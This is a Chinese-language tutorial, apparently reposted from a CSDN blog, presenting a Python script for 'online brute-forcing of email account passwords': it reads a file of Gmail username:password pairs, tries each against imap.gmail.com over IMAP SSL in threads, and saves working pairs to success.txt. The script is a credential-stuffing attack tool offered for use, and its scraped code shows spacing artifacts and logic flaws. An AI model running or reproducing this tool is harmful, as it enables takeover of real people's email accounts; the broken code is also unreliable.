本文实例讲述了Python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:
dic 字典格式如下(mail.txt) :
1
2
3
|
username@gmail.com:password
username@gmail.com:password
username@gmail.com:password
|
以此类推,切记保存成utf-8编码格式。
放置在当前脚本目录,也可自己定义修改。
支持ssl https /imap协议。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
|
# version 3.4.0
# coding='UTF-8'
# time='2014-09-16'
import _dummy_thread
import imaplib
import threading
# global variant
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'
GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143
GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993
GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()
GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000
GMAIL_BYTES_READED_TOTAL_SIZE = 0
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0
GLOBAL_READ_FINISH_STATUS_SUCCESS = False
# define global function
def Write_Save_Success_Gmail_Jobs(indexSuccess):
Success_File = open ( 'success.txt' , 'a' )
Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])
Success_File.close()
def Write_Save_Fail_Gmail_Jobs(indexFail):
Fail_File = open ( 'fail.txt' , 'a' )
Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])
Fail_File.close()
# define global function
def Get_Parser_Account_Pwd(Index):
strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index]
strUserName, strPassWord = strAccountPwd.split( ':' , 1 )
return strUserName, strPassWord
# define global function
def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail):
global GLOBAL_WORKING_THREAD_MUTEX_LOCK
global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES
if ((IndexGmail > = 0 ) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) = = True :
GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES + = 1
print ( 'POSITION---------' , GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)
print ( 'IMAP INDEX-------' , IndexGmail)
print ( 'IMAP USERNAME----' , GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
Write_Save_Fail_Gmail_Jobs(IndexGmail)
# GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
print (GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)
GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143
stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)
try :
ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)
except GmailImap4.error :
print ( 'Logical errors - debug required' )
Write_Save_Fail_Gmail_Jobs(IndexGmail)
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
return
except GmailImap4.abort :
print ( 'Service errors - close and retry' )
GmailImap4.close()
Write_Save_Fail_Gmail_Jobs(IndexGmail)
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
return
except GmailImap4.readonly:
print ( 'Mailbox status changed to read only' )
GmailImap4.close()
Write_Save_Fail_Gmail_Jobs(IndexGmail)
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
return
if (ResponseStatus[ 0 ] = = 'OK' ):
print ( 'LOGIN SUCCESS' )
Write_Save_Success_Gmail_Jobs(IndexGmail)
GmailImap4.logout()
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
else :
GmailImap4.close()
print ( 'LOGIN FAIL' )
print (ResponseStatus)
Write_Save_Fail_Gmail_Jobs(IndexGmail)
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
else :
return
# define global function
class Working_Zone_Thread(threading.Thread):
m_IndexStart = 0
m_IndexEnd = 0
def __init__( self , numEnd):
self .m_IndexEnd = numEnd
threading.Thread.__init__( self )
def run( self ): # run process
while True :
if self .m_IndexStart < self .m_IndexEnd:
Veritifying_Gmail_Imap_Account_Pwd( self .m_IndexStart)
self .m_IndexStart = self .m_IndexStart + 1
else :
break
def _delete( self ):
threading.Thread._delete( self )
print ( 'thread delete is : ' , self .getName())
# define read function
def Read_Send_Single_Func():
IndexStart = 0
print ( '--------read----star--' )
global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM
global GMAIL_BYTES_READED_TOTAL_SIZE
global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY
File_Read = open ( 'mail.txt' , 'r' , encoding = 'UTF-8' )
File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0 ) # seek
while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:
line = File_Read.readline()
if line:
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)
CbBytes = line.__len__()
GMAIL_BYTES_READED_TOTAL_SIZE + = CbBytes
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM + = 1
IndexStart = IndexStart + 1
else :
GLOBAL_READ_FINISH_STATUS_SUCCESS = True
break
print ( 'gmail read num ' , IndexStart)
File_Read.close()
print ( '---------read----end--' )
# main entry
if __name__ = = '__main__' :
print ( 'Main Thread Start : ' )
while True :
if GLOBAL_READ_FINISH_STATUS_SUCCESS ! = True :
Read_Send_Single_Func()
wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)
wzt.start()
wzt.join()
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()
else :
print ( 'data has run out : ' )
break
print ( 'Main Thread End : ' )
|
希望本文所述对大家Python程序设计有所帮助。
原文链接:http://blog.csdn.net/microzone/article/details/49928235